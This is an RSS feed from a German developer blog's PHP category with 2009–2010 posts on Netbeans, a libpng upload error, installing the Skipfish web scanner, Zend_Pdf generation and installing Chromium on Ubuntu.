<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>everflux &#187; PHP</title>
	<atom:link href="http://everflux.de/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://everflux.de</link>
	<description>Java, Ubuntu - und das Leben.</description>
	<lastBuildDate>Sun, 05 Feb 2012 12:28:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com" />
	<atom:link rel="hub" href="http://superfeedr.com/hubbub" />
			<item>
		<title>Oracle veröffentlicht Netbeans 6.9</title>
		<link>http://everflux.de/oracle-veroffentlicht-netbeans-6-9-1588/</link>
		<comments>http://everflux.de/oracle-veroffentlicht-netbeans-6-9-1588/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 09:44:17 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[netbeans]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[sun]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=1588</guid>
		<description><![CDATA[Netbeans ist nun in der Version 6.9 von Oracle freigegeben worden. Die Entwicklungsumgebung für Java, PHP, JavaScript, Groovy, Scala, &#8230; wird von Oracle zusammen mit der OpenSource Community entwickelt. Das nun veröffentlichte Netbeans 6.9 enthält viele Neuerungen. Für PHP Entwickler besonders interessant ist die Unterstützung des Zend Framework in der aktuellen Version. Ganz neu ist [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/oracle-veroffentlicht-netbeans-6-9-1588/">Oracle veröffentlicht Netbeans 6.9</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Netbeans ist nun in der Version 6.9 von Oracle freigegeben worden. Die Entwicklungsumgebung für Java, PHP, JavaScript, Groovy, Scala, &#8230; wird von Oracle zusammen mit der OpenSource Community entwickelt. Das nun veröffentlichte Netbeans 6.9 enthält viele Neuerungen. Für PHP Entwickler besonders interessant ist die Unterstützung des Zend Framework in der aktuellen Version.<span id="more-1588"></span></p>
<p>Ganz neu ist der Java FX Composer: Bei dem JavaFX Composer handelt es sich um ein Layout-Tool mit dem grafische Anwendungen, die auf JavaFX basieren, erstellen lassen. der JavaFX Composer ist damit vergleichbar mit dem Swing Layout Tool Matisse, mit dem Netbeans bereits in der Vergangenheit viele Fans gewinnen konnte.</p>
<p>Oracle moechte mit JavaFX eine RIA (Rich Internet Application) Platform etablieren, die sich mit Flash/Air (Adobe) und  der Silverlight (Microsoft) Technologie konkurriert. Oracle möchte JavaFX auch fuer Enterprise Anwendungen etablieren, dabei sollen Data-Binding und eine umfangreiche Komponenten Bilbiothek helfen.</p>
<p>Ebenfalls für Java Enterprise Entwickler interessant ist der OSGi Support, der in Netbeans 6.9 erstmals Einzug hält. Damit können OSGi Bundles mit Netbeans erstellt und auch in Anwendungen integriert werden, die die Netbeans Platform als Framework nutzen. Dabei werden Equinox und Apache Felix als OSGi Container unterstützt.</p>
<p>Das Spring Framework wird nun in Version 3 unterstützt, und ein Entwickler kann dabei von Code-Completion als auch Applikationsvorlagen profitieren. Auch JSR 299 &#8220;Context and Dependency Injection&#8221; findet sich nun in Netbeans wieder.</p>
<p>Mein &#8220;Lieblingsfeature&#8221; ist die Möglichkeit per ctrl-alt-click auf eine Interface Methode direkt zu einer Implmentierung springen zu können. Das geht noch schneller als der in Eclipse übliche Weg über die quick-type-hierarchie &#8211; wer viel mit Interfaces (z.B. Spring) arbeitet, wird das Feature bald nicht mehr missen wollen.</p>
<p>Auch die Performance ist gut, und Kleinigkeiten wie CSS Refactoring und verbesserte Maven Unterstützung runden den insgesamt guten Eindruck ab.</p>
<p>Netbeans 6.9 gibt es auf <a href="http://www.netbeans.org/" target="_blank">http://www.netbeans.org/</a> kostenlos zum Download für alle Plattformen, lediglich Java muss installiert sein.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/oracle-veroffentlicht-netbeans-6-9-1588/">Oracle veröffentlicht Netbeans 6.9</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/openjdk-java-7-und-oracle-1582/' rel='bookmark' title='OpenJDK, Java 7 und Oracle'>OpenJDK, Java 7 und Oracle</a></li>
<li><a href='http://everflux.de/oracle-cohernce-middleware-wettbewerb-1603/' rel='bookmark' title='Oracle Coherence/Fusion Middleware Wettbewerb'>Oracle Coherence/Fusion Middleware Wettbewerb</a></li>
<li><a href='http://everflux.de/java-6u15-oracle-branding-1305/' rel='bookmark' title='Java 6u15: Oracle Branding'>Java 6u15: Oracle Branding</a></li>
<li><a href='http://everflux.de/zend-framework-15-fur-php-5-veroffentlicht-510/' rel='bookmark' title='Zend Framework 1.5 für PHP 5 veröffentlicht'>Zend Framework 1.5 für PHP 5 veröffentlicht</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/oracle-veroffentlicht-netbeans-6-9-1588/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP: gd-png:  fatal libpng error: Read Error: truncated data</title>
		<link>http://everflux.de/php-gd-png-fatal-libpng-error-read-error-truncated-data-1567/</link>
		<comments>http://everflux.de/php-gd-png-fatal-libpng-error-read-error-truncated-data-1567/#comments</comments>
		<pubDate>Mon, 17 May 2010 17:53:12 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[ubuntuusers.de]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=1567</guid>
		<description><![CDATA[Gerade zum Bloggen von Webseiten-Screenshots bietet sich diese Firefox Extension an: Screengrab. Bisher hat das auch alles prima geklabbt: Ubuntu, Firefox, WordPress Blog und Ubuntu Server. Neuerdings gibts da jedoch ein Problemchen: Beim Hochladen der Bilder ins WordPress gibt es nur das &#8220;broken Image&#8221; Symbol, und auf dem Server wird ganz viel dieser Art geloggt: [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/php-gd-png-fatal-libpng-error-read-error-truncated-data-1567/">PHP: gd-png:  fatal libpng error: Read Error: truncated data</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Gerade zum Bloggen von Webseiten-Screenshots bietet sich diese Firefox Extension an: <a href="https://addons.mozilla.org/en-US/firefox/addon/1146/" target="_blank">Screengrab</a>. Bisher hat das auch alles prima geklabbt: Ubuntu, Firefox, WordPress Blog und Ubuntu Server.</p>
<p>Neuerdings gibts da jedoch ein Problemchen: Beim Hochladen der Bilder ins WordPress gibt es nur das &#8220;broken Image&#8221; Symbol, und auf dem Server wird ganz viel dieser Art geloggt:<br />
<code><br />
gd-png:  fatal libpng error: Read Error: truncated data<br />
gd-png error: setjmp returns error condition 2gd-png:  fatal libpng error: Read Error: truncated data<br />
gd-png error: setjmp returns error condition 2gd-png:  fatal libpng error: Read Error: truncated data<br />
gd-png error: setjmp returns error condition 2<br />
</code><br />
Die defekten Zeilenvorschübe kommen dabei original so aus dem Logfile. Ich habe zwar nach der Fehlermeldung ein wenig gesucht, konnte jedoch lediglich einen Hinweis finden, dass es auf aktuelleren PHP Versionen (z.B. Ubuntu Lucid) evtl. zu Problemen mit der Kompressionsstufe 10 kommen kann.<span id="more-1567"></span></p>
<p>Abhilfe konnte ich lediglich dadurch schaffen, dass ich mit dem Gimp das Bild in eine indexierte Farbtabelle statt des ursprünglichen RGB Formats konvertiert habe. Die Kompressionsstufe war vorher und danach auf &#8220;8&#8243;. Jedoch hat sich dabei noch die Angabe der Bildauflösung geändert, evtl. lag es auch daran. Hier zum Vergleich die Ausgabe von pnginfo:<br />
Vorher:<code><br />
Image Width: 622 Image Length: 181<br />
Bitdepth (Bits/Sample): 8<br />
Channels (Samples/Pixel): 4<br />
Pixel depth (Pixel Depth): 32<br />
Colour Type (Photometric Interpretation): RGB with alpha channel<br />
Image filter: Single row per byte filter<br />
Interlacing: No interlacing<br />
Compression Scheme: Deflate method 8, 32k window<br />
Resolution: 0, 0 (unit unknown)<br />
FillOrder: msb-to-lsb<br />
Byte Order: Network (Big Endian)<br />
Number of text strings: 0 of 0<br />
</code><br />
Nachher:<code><br />
Image Width: 622 Image Length: 181<br />
Bitdepth (Bits/Sample): 8<br />
Channels (Samples/Pixel): 1<br />
Pixel depth (Pixel Depth): 8<br />
Colour Type (Photometric Interpretation): PALETTED COLOUR (255 colours, 0 transparent)<br />
Image filter: Single row per byte filter<br />
Interlacing: No interlacing<br />
Compression Scheme: Deflate method 8, 32k window<br />
Resolution: 2835, 2835 (pixels per meter)<br />
FillOrder: msb-to-lsb<br />
Byte Order: Network (Big Endian)<br />
Number of text strings: 0 of 0<br />
</code><br />
Wer also auch solche Probleme hat: Bild einmal mit einem anderen Programm speichern oder das Farbformat ändern. Dennoch wundert mich, dass vor dem Ubuntu Lucid Update (auf meinem Desktop und dem fuer das Blog zuständigen Server) genau der Ablauf &#8220;Screengrab und Hochladen&#8221; wunderbar funktionierte.)</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/php-gd-png-fatal-libpng-error-read-error-truncated-data-1567/">PHP: gd-png:  fatal libpng error: Read Error: truncated data</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/fail-launchpad-error-1634/' rel='bookmark' title='Fail: Launchpad Error'>Fail: Launchpad Error</a></li>
<li><a href='http://everflux.de/ubuntu-f-spot-043-export-fehler-object-error-678/' rel='bookmark' title='Ubuntu: F-spot 0.4.3 Export Fehler (object error)'>Ubuntu: F-spot 0.4.3 Export Fehler (object error)</a></li>
<li><a href='http://everflux.de/google-adsense-error-1141/' rel='bookmark' title='Google Adsense Error'>Google Adsense Error</a></li>
<li><a href='http://everflux.de/spring-jpa-hibernate-rollbackexception-transactionsystemexception-1591/' rel='bookmark' title='Spring/JPA/Hibernate: Error while committing the transaction (RollbackException / TransactionSystemException)'>Spring/JPA/Hibernate: Error while committing the transaction (RollbackException / TransactionSystemException)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/php-gd-png-fatal-libpng-error-read-error-truncated-data-1567/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Skipfish und Ubuntu</title>
		<link>http://everflux.de/skipfish-und-ubuntu-1512/</link>
		<comments>http://everflux.de/skipfish-und-ubuntu-1512/#comments</comments>
		<pubDate>Sun, 21 Mar 2010 16:15:28 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[ubuntuusers.de]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=1512</guid>
		<description><![CDATA[Google hat mit dem Skipfish Projekt ein Sicherheitstool veröffentlicht, mit dem Webanwendungen auf ihre Sicherheit &#8211; oder auch Sicherheitslücken untersucht werden können. Das in C++ Programm unterstützt Windows, Apple Mac OS X und Ubuntu als Betriebssysteme und &#8211; wie für Google üblich &#8211; wird die besonderes hohe Performanz als Feature genannt. Im folgenden gehe ich [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/skipfish-und-ubuntu-1512/">Skipfish und Ubuntu</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Google hat mit dem <a href="http://code.google.com/p/skipfish/" target="_blank">Skipfish</a> Projekt ein Sicherheitstool veröffentlicht, mit dem Webanwendungen auf ihre Sicherheit &#8211; oder auch Sicherheitslücken untersucht werden können.</p>
<p>Das in C++ Programm unterstützt Windows, Apple Mac OS X und Ubuntu als Betriebssysteme und &#8211; wie für Google üblich &#8211; wird die besonderes hohe Performanz als Feature genannt. Im folgenden gehe ich kurz die Schritte durch, Skipfish unter Ubuntu Linux zu betreiben.<span id="more-1512"></span>Vorweg noch der Hinweis: Skipfish ist am besten für den Einsatz lokal oder im LAN geeignet, auch sollte kein Produktivsystem mit Skipfish untersucht werden, da eine sehr hohe Anzahl von Requests stattfinden. Natuerlich gilt insbesondere &#8220;Finger weg von fremden Systemen&#8221;, hier sind zivil- und strafrechtliche Konsequenzen zu erwarten.</p>
<p>Jetzt aber zur Installation:</p>
<ul>
<li><code>sudo apt-get install libidn11-dev libssl-dev</code> (fals noch nicht installiert)</li>
<li>Skipfish herunter laden von Google Code: <a href="http://code.google.com/p/skipfish/" target="_blank">http://code.google.com/p/skipfish/</a></li>
<li>Auspacken, im Verzeichnis &#8220;<code>make</code>&#8221; eingeben</li>
<li>Aus dem dictionaries Ordner ein Woerterbuch, z.B. &#8220;minimal.wl&#8221; nach &#8220;skipfish.wl&#8221; in den Hauptordner kopieren</li>
<li>Starten mittels <code>skipfish &lt;URL&gt;</code></li>
</ul>
<p>Weitere Informationen zu Skipfish und Bedienung finden sich auch in der Anleitung des Webapplikation-Security Scanners im Wiki: h<a href="http://code.google.com/p/skipfish/wiki/SkipfishDoc" target="_blank">ttp://code.google.com/p/skipfish/wiki/SkipfishDoc</a></p>
<p><a href="http://everflux.de/wp-content/uploads/2010/03/skipfish-in-action.png"><img class="alignnone size-medium wp-image-1515" title="skipfish-in-action" src="http://everflux.de/wp-content/uploads/2010/03/skipfish-in-action-300x149.png" alt="" width="300" height="149" /></a></p>
<p>Der Report von skipfish ist in HTML und für meinen Geschmack etwas zu &#8220;kinder-it&#8221;, aber mit einer gut zu bedienenden dynamischen Oberfläche.</p>
<p><a href="http://everflux.de/wp-content/uploads/2010/03/skipfish-result.png"><img class="alignnone size-medium wp-image-1517" title="skipfish-result" src="http://everflux.de/wp-content/uploads/2010/03/skipfish-result-300x164.png" alt="" width="300" height="164" /></a></p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/skipfish-und-ubuntu-1512/">Skipfish und Ubuntu</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/gwt-2-ubuntu-64bit-linux-1411/' rel='bookmark' title='GWT 2: Google Web Toolkit Entwicklung auf Ubuntu 64bit Linux'>GWT 2: Google Web Toolkit Entwicklung auf Ubuntu 64bit Linux</a></li>
<li><a href='http://everflux.de/sun-java6-in-ubuntu-lucid-1547/' rel='bookmark' title='Sun Java6 in Ubuntu Lucid'>Sun Java6 in Ubuntu Lucid</a></li>
<li><a href='http://everflux.de/ubuntu-oneiric-netbeans-master-passwort-keyring-integration-1896/' rel='bookmark' title='Ubuntu Oneiric: Netbeans Master-Passwort / Keyring Integration'>Ubuntu Oneiric: Netbeans Master-Passwort / Keyring Integration</a></li>
<li><a href='http://everflux.de/eclipse-galileo-probleme-mit-ubuntu-karmic-koala-1393/' rel='bookmark' title='Eclipse Galileo Probleme mit Ubuntu Karmic Koala'>Eclipse Galileo Probleme mit Ubuntu Karmic Koala</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/skipfish-und-ubuntu-1512/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PDF Erstellung mit PHP und dem Zend Framework</title>
		<link>http://everflux.de/pdf-erstellung-mit-php-und-dem-zend-framework-1310/</link>
		<comments>http://everflux.de/pdf-erstellung-mit-php-und-dem-zend-framework-1310/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 10:25:28 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=1310</guid>
		<description><![CDATA[Das Zend Framework bietet Komponenten für so ziemlich jede Aufgabe, die man als PHP Entwickler vorfinden kann. Doch einen Haken hat das Zend Framework &#8211; durch eine sehr individuelle Auslegung von &#8220;loose coupling&#8221; steht man vor der Herausforderung die verschiedenen Komponenten zu integrieren. Nachdem ich von einem Freund gebeten wurde, mal ein Beispiel zu liefern, [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/pdf-erstellung-mit-php-und-dem-zend-framework-1310/">PDF Erstellung mit PHP und dem Zend Framework</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Das Zend Framework bietet Komponenten für so ziemlich jede Aufgabe, die man als PHP Entwickler vorfinden kann. Doch einen Haken hat das Zend Framework &#8211; durch eine sehr individuelle Auslegung von &#8220;loose coupling&#8221; steht man vor der Herausforderung die verschiedenen Komponenten zu integrieren. Nachdem ich von einem Freund gebeten wurde, mal ein Beispiel zu liefern, wie Zend_PDF verwendet werden kann, um mittels PHP und dem Zend Framework PDF Dateien auszugeben, findet sich nun hier ein entsprechendes Beispiel.</p>
<p>Als Vorlage PDF Datei wurde dabei mittels OpenOffice ein PDF erstellt, um zu demonstrieren, wie sich mittels Zend_PDF auch Vorlagen verwenden lassen. Dafür wurde bisher oft FPDF bzw. PDFi als PHP Bibliotheken verwendet. All diese PDF Funktionalität für PHP wird nun mittels der Zend_PDF Komponente abgebildet.</p>
<p><span id="more-1310"></span>Hier nun die <a href="http://everflux.de/wp-content/uploads/2009/08/zend-pdf.pdf">PDF Vorlage</a>, und <a href="http://everflux.de/wp-content/uploads/2009/08/zend-pdf-example.pdf">das Ergebnis</a> nachdem der Beispiel-Quellcode ausgeführt wurde.</p>
<p>Die Verzeichnisstruktur (Netbeans Screenshot) sieht so aus: <a href="http://everflux.de/wp-content/uploads/2009/08/struktur.png"><img class="alignnone size-full wp-image-1315" title="struktur" src="http://everflux.de/wp-content/uploads/2009/08/struktur.png" alt="struktur" width="184" height="170" /></a></p>
<p>Und der Beispielquellcode:<br />
<code><br />
public function pdfAction()<br />
{<br />
$logger = Zend_Registry::get('logger');<br />
//if running as a module, find template there<br />
$moduleDir = $this-&gt;getFrontController()-&gt;getModuleDirectory($this-&gt;getRequest()-&gt;getModuleName());<br />
$source = $moduleDir . DIRECTORY_SEPARATOR . "views" . DIRECTORY_SEPARATOR . "pdf" . DIRECTORY_SEPARATOR . "zend-pdf.pdf";<br />
$pdf = Zend_Pdf::load($source);<br />
//now add some text<br />
$page = $pdf-&gt;pages[0]; //get first page<br />
$page-&gt;saveGS(); //save graphics context, always a good idea<br />
$page-&gt;setFont(Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA), 20);<br />
$page-&gt;drawText('Hello world:', 410, 580);<br />
$page-&gt;setFont(Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA_BOLD), 20);<br />
$page-&gt;drawText('Zend_PDF', 410, 550);<br />
$page-&gt;restoreGS();<br />
//this is the pdf as binary<br />
$output = $pdf-&gt;render();<br />
//send appropriate headers and the pdf - works with modern browsers. (Die, ie6!)<br />
$response = new Zend_Controller_Response_Http();<br />
$response-&gt;setHeader('Content-Disposition', 'attachment; filename="zend-pdf-example.pdf"');<br />
$response-&gt;setHeader('Content-type', 'application/pdf');<br />
$response-&gt;setHeader('Content-length', strlen($output)); //especially useful for http-pipeling and keep-alive connections<br />
$response-&gt;setBody($output);<br />
$response-&gt;sendResponse();<br />
//make sure no other output is happening<br />
//exit; would have done as well <img src='http://everflux.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /><br />
$this-&gt;_helper-&gt;viewRenderer-&gt;setNoRender();<br />
$this-&gt;_helper-&gt;layout-&gt;disableLayout();<br />
}</code></p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/pdf-erstellung-mit-php-und-dem-zend-framework-1310/">PDF Erstellung mit PHP und dem Zend Framework</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/zend-framework-102-395/' rel='bookmark' title='Zend Framework &#8211; 1.0.2'>Zend Framework &#8211; 1.0.2</a></li>
<li><a href='http://everflux.de/zend-framework-15-fur-php-5-veroffentlicht-510/' rel='bookmark' title='Zend Framework 1.5 für PHP 5 veröffentlicht'>Zend Framework 1.5 für PHP 5 veröffentlicht</a></li>
<li><a href='http://everflux.de/zend-framework-16-erschienen-647/' rel='bookmark' title='Zend Framework 1.6 erschienen'>Zend Framework 1.6 erschienen</a></li>
<li><a href='http://everflux.de/zend-und-lucene-22-21-396/' rel='bookmark' title='PHP Zend Framework und Lucene 2.2 / 2.1'>PHP Zend Framework und Lucene 2.2 / 2.1</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/pdf-erstellung-mit-php-und-dem-zend-framework-1310/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netbeans: Copy support failed. Continue?</title>
		<link>http://everflux.de/netbeans-copy-support-failed-continue-1290/</link>
		<comments>http://everflux.de/netbeans-copy-support-failed-continue-1290/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 09:38:06 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[ubuntuusers.de]]></category>
		<category><![CDATA[netbeans]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=1290</guid>
		<description><![CDATA[Netbeans ist eine herausragende IDE &#8211; herausragend durch einfache Bedienbarkeit, gleichzeitig gibt es eine Fülle von Features für den gestressten Entwickler. Und der Preis: Kostenlos! Ob für Java oder PHP Entwicklung, ich möchte Netbeans nicht mehr missen. Besonders für PHP &#8211; haben mir die kleinen Tipps und Hinweise doch schon einiges an Nerven gespart. Nicht [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-copy-support-failed-continue-1290/">Netbeans: Copy support failed. Continue?</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Netbeans ist eine herausragende IDE &#8211; herausragend durch einfache Bedienbarkeit, gleichzeitig gibt es eine Fülle von Features für den gestressten Entwickler. Und der Preis: Kostenlos! Ob für Java oder PHP Entwicklung, ich möchte Netbeans nicht mehr missen. Besonders für PHP &#8211; haben mir die kleinen Tipps und Hinweise doch schon einiges an Nerven gespart. Nicht zu vergessen die erstaunlich gut funktionierende Code-Completion. (Hätte ich bei PHP nie für möglich gehalten.)</p>
<p>Doch es gibt eine Sache, die mich unter Ubuntu in den absoluten Wahnsinn getrieben hat: Ich habe zwei Ubuntu Rechner, einen Server und meinen Arbeitsplatz. Auf dem Server läuft Apache und Mysql &#8211; auf meiner Arbeitsstation möchte ich keinen Apache laufen lassen, so dass ich alle Dateien auf den Server lade.<span id="more-1290"></span></p>
<p>Das ist auch kein Problem, Netbeans hat vorgesorgt und kennt sich offenbar mit den typischen Setups aus. So kann man die PHP Sourcen mit einerm anderen Ordner synchronisieren. (Per NFS habe ich so den Server lokal eingebunden.) Sogar per FTP oder SFTP lassen sich die Sourcen publizieren, um z.B. direkt auf dem &#8220;echten&#8221; Webserver arbeiten zu können. Ein echter Segen!</p>
<p>Doch das lokale Synchronisieren schlägt bei mir regelmäßig fehl. Es kommt die Meldung &#8220;Copy support failed. Continue?&#8221;. Und egal was man dann klickt &#8220;yes&#8221; oder &#8220;no&#8221; &#8211; vom &#8220;copy support&#8221; oder Synchronisierung merkt man nicht mehr viel. Selbst, wenn die Fehlermeldung nicht erscheint, werden Dateien bei der Synchronisierung &#8220;vergessen&#8221;, oder nach einer Änderung lediglich gelöscht aber nicht neu einkopiert. Damit wird die Entwicklung mit Netbeans vom Traum zu einem echten Alptraum. (Manche mögen sagen, dies sei bei PHP der Normalfall, aber ich bin da unreligiös.)<br />
Dies betrifft übrigens auch Windows Entwickler, die per SMB (Windows Netzwerk) ein ähnliches Setup verwenden, wie ich.</p>
<p>Doch es gibt Abhilfe! Denn Netbeans ist &#8220;nicht so ganz&#8221; Schuld an der Misere. Genau genommen ist es eine andere Komponente, die Versionsverwaltung. Diese macht etwas Magie und Hokuspokus und bringt damit einiges durcheinander &#8211; vor allem scheinbar wenn Netzwerkverbindungen zusätzliche Latenz einbringen. Konfiguriert man Netbeans so, dass es die Ordner bei der Versionsverwaltung ausschließt, sind die Probleme weg.</p>
<p>Dazu geht man in das Netbeans Installationsverzeichnis (bei mir ~/.netbeans/6.7/ ) und legt die Datei &#8220;config/Preferences/org/netbeans/modules/versioning.properties&#8221; an. Dort kann man die Pfade aufführen, die bei der Versionsverwaltung komplett ignoriert werden sollen. (Da dort ja sowieso die Sourcen nur hinkopiert werden, macht das in so fern auch Sinn.) In meinem Fall also einfach &#8220;/remote&#8221; eingetragen, Netbeans neu gestartet &#8211; und gut.</p>
<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/netbeans-copy-support-failed-continue-1290/">Netbeans: Copy support failed. Continue?</a></p>
<p>Ähnliche Beiträge:<ol>
<li><a href='http://everflux.de/netbeans-javascript-support-php-und-andere-features-562/' rel='bookmark' title='Netbeans JavaScript Support, PHP und andere Features'>Netbeans JavaScript Support, PHP und andere Features</a></li>
<li><a href='http://everflux.de/cisco-7960-semantic-check-failed-for-ntp-packet-179/' rel='bookmark' title='Cisco 7960 &#8220;Semantic check failed for NTP packet&#8221;'>Cisco 7960 &#8220;Semantic check failed for NTP packet&#8221;</a></li>
<li><a href='http://everflux.de/netbeans-65-released-751/' rel='bookmark' title='Netbeans 6.5 released'>Netbeans 6.5 released</a></li>
<li><a href='http://everflux.de/google-support-getestet-und-fur-gut-befunden-760/' rel='bookmark' title='Google Support &#8211; getestet und für gut befunden'>Google Support &#8211; getestet und für gut befunden</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://everflux.de/netbeans-copy-support-failed-continue-1290/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Chromium Browser: Schneller Entwickeln!</title>
		<link>http://everflux.de/chromium-browser-schneller-entwickeln-1278/</link>
		<comments>http://everflux.de/chromium-browser-schneller-entwickeln-1278/#comments</comments>
		<pubDate>Sat, 01 Aug 2009 11:27:37 +0000</pubDate>
		<dc:creator>everflux</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Linux/OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[ubuntuusers.de]]></category>
		<category><![CDATA[Web Entwicklung]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[netbeans]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://everflux.de/?p=1278</guid>
		<description><![CDATA[Welche IDE man bevorzugt, darüber kann man sicherlich vortrefflich streiten. Genauso übrigens auch über Webbrowser. Doch eins ist klar: Bei der Entwicklung zählt jede gesparte Sekunde. Gerade in Webanwendungen wird man nicht um manuelles Testen und Ausprobieren herumkommen. Ich habe gemerkt, dass man mit dem Firefox (Firebug, Webdeveloper Toolbar, etc. pp) wunderbar Debugging betreiben kann. [...]<p>Artikel von: <a href="http://everflux.de/">everflux.de</a><br/><br/><a href="http://everflux.de/chromium-browser-schneller-entwickeln-1278/">Chromium Browser: Schneller Entwickeln!</a></p>
]]></description>
			<content:encoded><![CDATA[<p>Welche IDE man bevorzugt, darüber kann man sicherlich vortrefflich streiten. Genauso übrigens auch über Webbrowser. Doch eins ist klar: Bei der Entwicklung zählt jede gesparte Sekunde. Gerade in Webanwendungen wird man nicht um manuelles Testen und Ausprobieren herumkommen. Ich habe gemerkt, dass man mit dem Firefox (Firebug, Webdeveloper Toolbar, etc. pp) wunderbar Debugging betreiben kann. Das Tooling ist in meinen Augen ungeschlagen.<span id="more-1278"></span></p>
<p>Doch geht es ums &#8220;herumklicken&#8221; und Ausprobieren ist meiner Erfahrung nach der chromium-browser ungeschlagen schnell. (Vermutlich auch weil er bei mir absolut ohne Addons, Plugins und Erweiterungen läuft.) Der Browser ist unter Ubuntu/Linux zwar noch sehr beta, doch immerhin gibt es für Ubuntu ein PPA, so dass die Installation der Chromium Beta 3 kein Problem darstellt.</p>
<p>Die Installation des chromium Browsers (Entwicklerversion) geht am einfachsten über das PPA mit den folgenden Befehlen:<br />
<code><br />
echo "deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu `lsb_release -cs` main" &gt; /tmp/chromium.list<br />
sudo mv /tmp/chromium.list /etc/apt/sources.list.d/<br />
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 5A9BF3BB4E5E17B5<br />
sudo apt-get update<br />
sudo apt-get install chromium-browser<br />
</code><br />
Auch sehr praktisch: Man kann den Browser so starten, dass er alle während der Tests erzeugten Daten in ein temporäres Verzeichnis legt und so keine großen Altlasten bleiben. Eine beispielhafte Konfiguration in Netbeans 6.7 mit Chromium als Browser sieht so aus:</p>
<p><a href="http://everflux.de/wp-content/uploads/2009/08/netbeans-chromium.png"><img class="alignnone size-medium wp-image-1279" title="netbeans-chromium" src="http://everflux.de/wp-content/uploads/2009/08/netbeans-chromium-300x188.png" alt="netbeans-chromium" width="300" height="188" /></a></p>
